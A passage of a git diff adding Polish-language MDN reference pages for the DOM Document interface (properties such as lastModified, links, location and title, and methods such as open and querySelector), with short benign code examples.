href="pl/DOM/document.height">document.height</a>*</dt> + <dd>Pobiera/ustawia wysokość dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.images">document.images</a>*</dt> + <dd>Zwraca listę obrazków w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.implementation">document.implementation</a>*</dt> + <dd>Zwraca obiekt implementacji DOM powiązany z bieżącym dokumentem.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.lastModified">document.lastModified</a>*</dt> + <dd>Zwraca datę ostatniej modyfikacji dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.linkColor">document.linkColor</a>* {{ Deprecated_inline() }}</dt> + <dd>Pobiera/ustawia kolor odnośników w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.links">document.links</a>*</dt> + <dd>Zwraca listę wszystkich odnośników w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.location">document.location</a>*</dt> + <dd>Zwraca URI bieżącego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.namespaceURI">document.namespaceURI</a></dt> + <dd>Zwraca przestrzeń nazw XML dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.plugins">document.plugins</a>*</dt> + <dd>Zwraca listę dostępnych wtyczek.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.popupNode">document.popupNode</a></dt> + <dd>Zwraca węzeł, do którego odwoływał sie {{ XULElem("popup") }} (wyłącznie dokumenty XUL).</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.referrer">document.referrer</a>*</dt> + <dd>Zwraca URI strony, która przekierowała do bieżącej strony.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.styleSheets">document.styleSheets</a>*</dt> + <dd>Zwraca listę obiektów typu <a href="pl/DOM/stylesheet">stylesheet</a> w bieżącym dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.title">document.title</a>*</dt> + <dd>Zwraca tytuł bieżącego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.tooltipNode">document.tooltipNode</a></dt> + <dd>Zwraca węzeł, który jest bieżącym celem {{ XULElem("tooltip") }}.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.URL">document.URL</a></dt> + <dd>Zwraca ciąg znaków zawierający adres URL bieżącego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.vlinkColor">document.vlinkColor</a>* {{ Deprecated_inline() }}</dt> + <dd>Pobiera/ustawia kolor odwiedzonych odnośników.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.width">document.width</a>*</dt> + <dd>Zwraca szerokość bieżącego dokumentu.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="/pl/DOM/document.clear" title="pl/DOM/document.clear">document.clear</a>* {{ Deprecated_inline() }}</dt> + <dd>W wiekszosci nowoczesnych przegladarek wlacznie z Firefoksem oraz Internet Explorerem metoda ta nie robi nic.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.close" title="pl/DOM/document.close">document.close</a>*</dt> + <dd>Konczy dopisywanie do strumienia dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createAttribute" title="pl/DOM/document.createAttribute">document.createAttribute</a></dt> + <dd>Tworzy i zwraca nowy wezel atrybutu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createDocumentFragment" title="pl/DOM/document.createDocumentFragment">document.createDocumentFragment</a></dt> + <dd>Tworzy nowy fragment dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">document.createElement</a></dt> + <dd>Tworzy nowy element o podanej nazwie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createElementNS" title="pl/DOM/document.createElementNS">document.createElementNS</a></dt> + <dd>Tworzy nowy element o podanej nazwie i URI przestrzeni nazw.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createNSResolver" title="pl/DOM/document.createNSResolver">document.createNSResolver</a></dt> + <dd>Tworzy XPathNSResolver.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createTextNode" title="pl/DOM/document.createTextNode">document.createTextNode</a></dt> + <dd>Tworzy nowy wezel tekstowy.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createTreeWalker" title="pl/DOM/document.createTreeWalker">document.createTreeWalker</a></dt> + <dd>Tworzy obiekt <code><a href="/pl/DOM/treeWalker" title="pl/DOM/treeWalker">TreeWalker</a></code>.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createEvent" title="pl/DOM/document.createEvent">document.createEvent</a></dt> + <dd>Tworzy obiekt zdarzenia.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.createRange" title="pl/DOM/document.createRange">document.createRange</a></dt> + <dd>Tworzy obiekt Range.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.execCommand" title="pl/DOM/document.execCommand">document.execCommand</a></dt> + <dd>Wykonuje komende dla edytora <a href="/pl/Midas" title="pl/Midas">Midas</a>.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.evaluate" title="pl/DOM/document.evaluate">document.evaluate</a></dt> + <dd>Wykonuje wyrazenie XPath.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.getElementById" title="pl/DOM/document.getElementById">document.getElementById</a></dt> + <dd>Zwraca referencje do elementu o podanym ID.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.getElementsByName" title="pl/DOM/document.getElementsByName">document.getElementsByName</a></dt> + <dd>Zwraca liste elementów o podanej nazwie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.getElementsByTagName" title="pl/DOM/document.getElementsByTagName">document.getElementsByTagName</a></dt> + <dd>Zwraca liste elementów o danej nazwie znacznika.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.importNode" title="pl/DOM/document.importNode">document.importNode</a></dt> + <dd>Zwraca kopie wezla z zewnetrznego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.loadOverlay" title="pl/DOM/document.loadOverlay">document.loadOverlay</a></dt> + <dd>{{ Fx_minversion_inline(1.5) }} Laduje <a href="/pl/Nakladki_XUL" title="pl/Nakladki_XUL">nakladke XUL</a>. Dziala to tylko w dokumentach XUL.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.open" title="pl/DOM/document.open">document.open</a>*</dt> + <dd>Otwiera strumien dokumentu do zapisu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.queryCommandEnabled" title="pl/DOM/document.queryCommandEnabled">document.queryCommandEnabled</a>*</dt> + <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> moze byc wykonana na biezacym zakresie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.queryCommandIndeterm" title="pl/DOM/document.queryCommandIndeterm">document.queryCommandIndeterm</a>*</dt> + <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> jest w stanie nieokreslonym dla biezacego zakresu.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.queryCommandState" title="pl/DOM/document.queryCommandState">document.queryCommandState</a>*</dt> + <dd>Zwraca prawde, jesli komenda edytora <a href="/pl/Midas" title="pl/Midas">Midas</a> zostala wykonana na biezacym zakresie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.queryCommandValue" title="pl/DOM/document.queryCommandValue">document.queryCommandValue</a>*</dt> + <dd>Zwraca wartosc biezacego zakresu dla komendy edytora <a href="/pl/Midas" title="pl/Midas">Midas</a>.Wraz z Firefoksem 2.0.0.2 queryCommandValue zwróci pusty ciag jesli wartosc nie zostala ustawiona.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.write" title="pl/DOM/document.write">document.write</a>*</dt> + <dd>Zapisuje tekst w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="/pl/DOM/document.writeln" title="pl/DOM/document.writeln">document.writeln</a>*</dt> + <dd>Zapisuje linie tekstu w dokumencie.</dd> +</dl> + +<p> </p> + +<p>{{ languages( { "en": "en/DOM/document", "es": "es/DOM/document", "fr": "fr/DOM/document", "ja": "ja/DOM/document", "zh-cn": "cn/DOM/document", "de" : "de/DOM/document" } ) }}</p> diff --git a/files/pl/web/api/document/lastmodified/index.html b/files/pl/web/api/document/lastmodified/index.html new file mode 100644 index 0000000000..a79e097ab8 --- /dev/null +++ b/files/pl/web/api/document/lastmodified/index.html @@ -0,0 +1,25 @@ +--- +title: document.lastModified +slug: Web/API/Document/lastModified +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/lastModified +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca datę i czas ostatniej modyfikacji dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.lastModified +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">dump(document.lastModified); +// zwróci np.: Tuesday, July 10, 2001 10:19:42 +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zauważ, że <b>lastModified</b> będąc ciągiem nie może zostać łatwo użyte do porównywania dat modyfikacji między dokumentami.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>(DOM Level 0 - brak w specyfikacji (?))</p> +<p>{{ languages( { "en": "en/DOM/document.lastModified" } ) }}</p> diff --git a/files/pl/web/api/document/linkcolor/index.html b/files/pl/web/api/document/linkcolor/index.html new file mode 100644 index 0000000000..ef025b4bfa --- /dev/null +++ b/files/pl/web/api/document/linkcolor/index.html @@ -0,0 +1,33 @@ +--- +title: document.linkColor +slug: Web/API/Document/linkColor +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/linkColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>{{ Deprecated_header() }} <code>linkColor</code> pobiera/ustawia kolor odnośników w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>kolor</i> = document.linkColor +document.linkColor =<i>kolor</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>kolor</code> jest ciągiem zawierającym nazwę koloru (np. "blue", "darkblue", itp.) lub wartość szesnastkową, jak w HTML (np. "#fefdf8").</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>document.linkColor</code> jest <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">przestarzałe w DOM Level 2 HTML</a>.</p> +<p>Rekomendowaną alternatywą jest pobranie/ustawienie własności CSS {{ Cssxref("color") }} na elemencie <a href="pl/HTML/Element/a">HTML anchor (<a>) links</a> (np: <code>a {color:red;}</code>).</p> +<p>Kolejną alternatywą <code>document.body.link</code> mimo, że jest <a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-link">przestarzałe w HTML 4.01</a> szczególnie przy użyciu alternatywnego CSS.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">document.linkColor = "blue"; +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/linkcolor.asp">MSDN: Własność linkColor</a></p> +<p>{{ languages( { "en": "en/DOM/document.linkColor" } ) }}</p> diff --git a/files/pl/web/api/document/links/index.html b/files/pl/web/api/document/links/index.html new file mode 100644 index 0000000000..d4ed79c435 --- /dev/null +++ b/files/pl/web/api/document/links/index.html @@ -0,0 +1,30 @@ +--- +title: document.links +slug: Web/API/Document/links +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/links +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>links</b> zwraca zestaw wszystkich elementów AREA i A z ustawioną wartością atrybutu <code>href</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>listaWęzłów</i> = document.links +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var links = document.links; +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +} +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-7068919">links </a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.links", "it": "it/DOM/document.links", "ja": "ja/DOM/document.links" } ) }}</p> diff --git a/files/pl/web/api/document/location/index.html b/files/pl/web/api/document/location/index.html new file mode 100644 index 0000000000..6a754d5c0d --- /dev/null +++ b/files/pl/web/api/document/location/index.html @@ -0,0 +1,37 @@ +--- +title: document.location +slug: Web/API/Document/location +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/location +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pobiera URL bieżącego dokumentu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>ciąg</em> = document.location +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">dump(document.location); +// zwraca ciąg taki jak np.: +// <a class="external" href="http://www.peoplemagazine.com/juicybits.html" rel="freelink">http://www.peoplemagazine.com/juicybits.html</a> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><strong>document.location</strong> działa tak samo jak <a href="/pl/DOM/document.URL">document.URL</a>. Obydwie te własności są tylko do odczytu, w przeciwieństwie do <a href="/pl/docs/web/api/Window/location">window.location</a>, które można ustawiać. Ponieważ <code>document</code> reprezentuje jeden dokument lub URL, nie można zmieniać jego lokalizacji.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>DOM Level 0 - brak w specyfikacji.</p> + +<p>{{ languages( { "en": "/en/DOM/document.location" } ) }}</p> diff --git a/files/pl/web/api/document/namespaceuri/index.html b/files/pl/web/api/document/namespaceuri/index.html new file mode 100644 index 0000000000..d6f9e8ac44 --- /dev/null +++ b/files/pl/web/api/document/namespaceuri/index.html @@ -0,0 +1,25 @@ +--- +title: document.namespaceURI +slug: Web/API/Document/namespaceURI +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/namespaceURI +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>namespaceURI</b> zwraca przestrzeń nazw XML dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>NSURI</i> = document.namespaceURI +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>NSURI</code> jest ciągiem zawierjącym przestrzeń nazw.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>DOM jako takie nie obsługuje ani nie wymaga walidacji przestrzeni nazw. Przeprowadzenie walidacji, jeśli jest taka potrzeba, zależy od aplikacji obsługującej DOM. Zauważ też, że prefiks przestrzeni nazw nie może zostać zmieniony, kiedy już raz zostanie przypisany węzłowi.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#Namespaces-Considerations">namespaceURI </a></p> +<p>{{ languages( { "en": "en/DOM/document.namespaceURI", "fr": "fr/DOM/document.namespaceURI" } ) }}</p> diff --git a/files/pl/web/api/document/open/index.html b/files/pl/web/api/document/open/index.html new file mode 100644 index 0000000000..2a7b0347b7 --- /dev/null +++ b/files/pl/web/api/document/open/index.html @@ -0,0 +1,40 @@ +--- +title: document.open +slug: Web/API/Document/open +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/Document/open +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Metoda <b>document.open</b> otwiera strumień dokumentu do zapisu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">document.open() +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre>//W tym przykładzie zawartość dokumentu jest +//usuwana przy reinicjalizacji poprzez open() + +document.write("<html><p>wyczyść to</p></html>"); +document.open(); +//dokument jest pusty +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Jeżeli dokument docelowy istnieje, metoda ta wyczyści go (zob. powyzszy przykład). <b>document.open</b> jest wywoływane również wtedy, gdy zostanie użyte <a href="pl/DOM/document.write">document.write</a> po załadowaniu dokumentu.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-72161170">open </a></p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/document.open", "fr": "fr/DOM/document.open", "ja": "ja/DOM/document.open" } ) }}</p> diff --git a/files/pl/web/api/document/plugins/index.html b/files/pl/web/api/document/plugins/index.html new file mode 100644 index 0000000000..fb946ff710 --- /dev/null +++ b/files/pl/web/api/document/plugins/index.html @@ -0,0 +1,40 @@ +--- +title: document.plugins +slug: Web/API/Document/plugins +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/plugins +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca listę aktualnie zainstalowanych wtyczek.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>obiektPluginArray</i> = document.plugins +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<p>Poniższy przykład wyświetla informację o zainstalowanych wtyczkach dla dokumentu wysokiego poziomu. Zwróć uwagę na właściwości obiektu Plugin: <b>length</b> (dla tablicy wtyczek), <b>name</b>, <b>filename</b> i <b>description</b>.</p> +<pre> <script TYPE="text/javascript"> + <!-- + var L = navigator.plugins.length + document.write( L ); + document.write("Plugins".bold()); + document.write("<BR>"); + document.write("Name | Filename | description".bold()); + document.write("<BR>"); + for(i=0; i<L; i++){ + document.write(navigator.plugins[i].name); + document.write(" | ".bold()); + document.write(navigator.plugins[i].filename); + document.write(" | ".bold()); + document.write(navigator.plugins[i].description); + document.write("<BR>"); + } + //--> + </script> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.plugins" } ) }}</p> diff --git a/files/pl/web/api/document/queryselector/index.html b/files/pl/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..cecd7c4f14 --- /dev/null +++ b/files/pl/web/api/document/queryselector/index.html @@ -0,0 +1,159 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - DOM + - Metodă + - Referencje + - Selektory +translation_of: Web/API/Document/querySelector +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>Funkcja zwraca pierwszy element wewnątrz dokumentu, który pasuje do podanego selektora lub grupy selektorów.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="brush: js">element = document.querySelector(selectors); +</pre> + +<p>gdzie</p> + +<ul> + <li><code>element</code> jest obiektem typu <a href="/en-US/docs/DOM/element" title="en-US/docs/DOM/element">element</a>.</li> + <li><code>selectors</code> jest łańcuchem znaków (<code>string</code>) zawierającym jeden lub więcej <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selektorów CSS</a> oddzielonych przecinkami.</li> +</ul> + +<h2 id="Example" name="Example">Przykład</h2> + +<p>W tym przykladzie zostaje zwrócony pierwszy element w dokumencie o klasie "<code style="font-style: normal;">myclass</code>":</p> + +<pre class="brush: js">var el = document.querySelector(".myclass"); +</pre> + +<h2 id="ExamplePowerful" name="ExamplePowerful">Przykład: Powerful</h2> + +<p><em>Selectory</em> mogą być naprawdę potężne, jak pokazano na poniższym przykładzie. Pierwszy element <code><input name="login"/></code> wewnątrz <code><div class="user-panel main"></code> w dokumencie zostaje zwrócony:</p> + +<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name='login']"); +</pre> + +<h2 id="Notes" name="Notes">Uwagi</h2> + +<p>Jeśli nie znaleziono dopasowań - zwraca null. W przeciwnym wypadku zwraca pierwszy pasujący element.</p> + +<p>Jeśli selektor zawiera ID i to ID zostaje wielokrotnie błędnie użyte w dokumencie, zwracany jest pierwszy pasujący element.</p> + +<p>Gdy podana grupa selektorów jest nieprawidłowa, zwrócony zostaje wyjątek <span style="font-family: courier,andale mono,monospace;">SYNTAX_ERR.</span></p> + +<p><code>querySelector()</code> został wprowadzony w API Selektorów.</p> + +<p>Przekazany do funkcji <code>querySelector</code> łańcuch znaków (<code>string</code>) musi być zgodny ze składnią CSS.</p> + +<p>Zgodnie z <a href="http://www.w3.org/TR/selectors-api/#grammar">API Selektorów</a> pseudoklasy CSS nigdy nie zwrócą żadnego elementu.</p> + +<p><span style="line-height: 22.0080013275147px;">Aby użyć ID lub selektorów niezgodnych ze składnią CSS (</span>np. ze względu na niewłaściwe użycie dwukropka czy spacji<span style="line-height: 22.0080013275147px;">) należy poprzedzić niezgodny znak ukośnikiem wstecznym (backslash). </span>Z racji, że w JavaScript backslash jest używany jako znak ucieczki chcąc użyć go w stringu należy wpisać go podwójnie(jeden dla stringa JavaScriptu i drugi raz dla querySelector):</p> + +<pre class="brush: html"><div id="foo\bar"></div> +<div id="foo:bar"></div> + +<script> + console.log('#foo\bar') // "#fooar" + document.querySelector('#foo\bar') // Nie pasuje do żadnego elementu + + console.log('#foo\\bar') // "#foo\bar" + console.log('#foo\\\\bar') // "#foo\\bar" + document.querySelector('#foo\\\\bar') // Odnosi się do pierwszego diva + + document.querySelector('#foo:bar') // Nie pasuje do żadnego elementu + document.querySelector('#foo\\:bar') // Odnosi się do drugiego diva +</script> +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>Definicja wstępna</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Zgodność z przeglądarkami</h2> + +<p>{{CompatibilityTable()}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>1</td> + <td>3.5 (1.9.1)<br> + {{bug(416317)}}</td> + <td>8</td> + <td>10</td> + <td>3.2 (525.3)<br> + {{Webkitbug("16587")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>2.1</td> + <td>yes</td> + <td>9</td> + <td>10.0</td> + <td>3.2</td> + </tr> + </tbody> +</table> +</div> + + + +<h2 id="See_also" name="See_also">Zobacz także</h2> + + + +<ul> + <li>{{domxref("document.querySelectorAll()")}}</li> + <li>{{domxref("element.querySelector()")}}</li> + <li>{{domxref("element.querySelectorAll()")}}</li> + <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Przykłady kodu z użyciem querySelector</a></li> +</ul> diff --git a/files/pl/web/api/document/referrer/index.html b/files/pl/web/api/document/referrer/index.html new file mode 100644 index 0000000000..0667be8e4c --- /dev/null +++ b/files/pl/web/api/document/referrer/index.html @@ -0,0 +1,22 @@ +--- +title: document.referrer +slug: Web/API/Document/referrer +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/referrer +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca URI strony, która przekierowała na bieżącą stronę.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>ciąg</i> = document.referrer +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Jeżeli użytkownik otworzył stronę bezpośrednio (nie poprzez odnośnik, ale np. za pomocą zakładki), wartością tej właściwości jest pusty ciąg.</p> +<p>Zauważ też, że właściwość ta zwraca tylko ciąg tekstowy, nie daje dostępu do DOM strony odsyłającej.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-95229140">referrer </a></p> +<p>{{ languages( { "en": "en/DOM/document.referrer" } ) }}</p> diff --git a/files/pl/web/api/document/releasecapture/index.html b/files/pl/web/api/document/releasecapture/index.html new file mode 100644 index 0000000000..7585229fe5 --- /dev/null +++ b/files/pl/web/api/document/releasecapture/index.html @@ -0,0 +1,31 @@ +--- +title: Document.releaseCapture() +slug: Web/API/Document/releaseCapture +translation_of: Web/API/Document/releaseCapture +--- +<div>{{ ApiRef("DOM") }} {{gecko_minversion_header("2.0")}}</div> + +<div> </div> + +<p>Zwalnia śledzenie myszy, jeśli śledzenie jest ustawione na jakimś elemencie wewnątrz dokumentu. Możesz włączyć śledzenie wywołując {{domxref("element.setCapture()")}}.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox">document.releaseCapture() +</pre> + +<p>Po zwolnieniu śledzenia, zdarzenia myszy nie będą przekierowywane do elementu dla którego śledzenie było włączone.</p> + +<h2 id="Example" name="Example">Przykład</h2> + +<p>Zobacz przykład <a href="/en-US/docs/Web/API/element.setCapture#Example">przykład</a> dla {{domxref("element.setCapture()")}}.</p> + +<h2 id="Specification" name="Specification">Specyfikacja</h2> + +<p>Oparta na implementacji Internet Explorera.</p> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li>{{domxref("element.setCapture()")}}</li> +</ul> diff --git a/files/pl/web/api/document/stylesheets/index.html b/files/pl/web/api/document/stylesheets/index.html new file mode 100644 index 0000000000..4c8312b281 --- /dev/null +++ b/files/pl/web/api/document/stylesheets/index.html @@ -0,0 +1,19 @@ +--- +title: document.styleSheets +slug: Web/API/Document/styleSheets +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <b>styleSheets</b> zwraca listę obiektów <code>stylesheet</code> w bieżącym dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>listaWęzłów</i> = document.styleSheets +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 2.</p> +<p>{{ languages( { "en": "en/DOM/document.styleSheets", "ja": "ja/DOM/document.styleSheets" } ) }}</p> diff --git a/files/pl/web/api/document/title/index.html b/files/pl/web/api/document/title/index.html new file mode 100644 index 0000000000..0a379426e5 --- /dev/null +++ b/files/pl/web/api/document/title/index.html @@ -0,0 +1,45 @@ +--- +title: document.title +slug: Web/API/Document/title +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/title +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pobiera lub ustawia tytuł dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>tytul</i> =<i>document</i>.title; +</pre> +<ul> + <li><code>tytul</code> jest łańcuchem znaków zawierającym tytuł dokumentu. Jeśli tytuł został nadpisany poprzez ustawienie <code>document.title</code>, zwraca tę wartość. W przeciwnym wypadku zwraca tytuł określony w znaczniku (zobacz poniższe {{ Anch("Uwagi") }}).</li> +</ul> +<pre class="eval"><i>document</i>.title =<i>nowyTytul</i>; 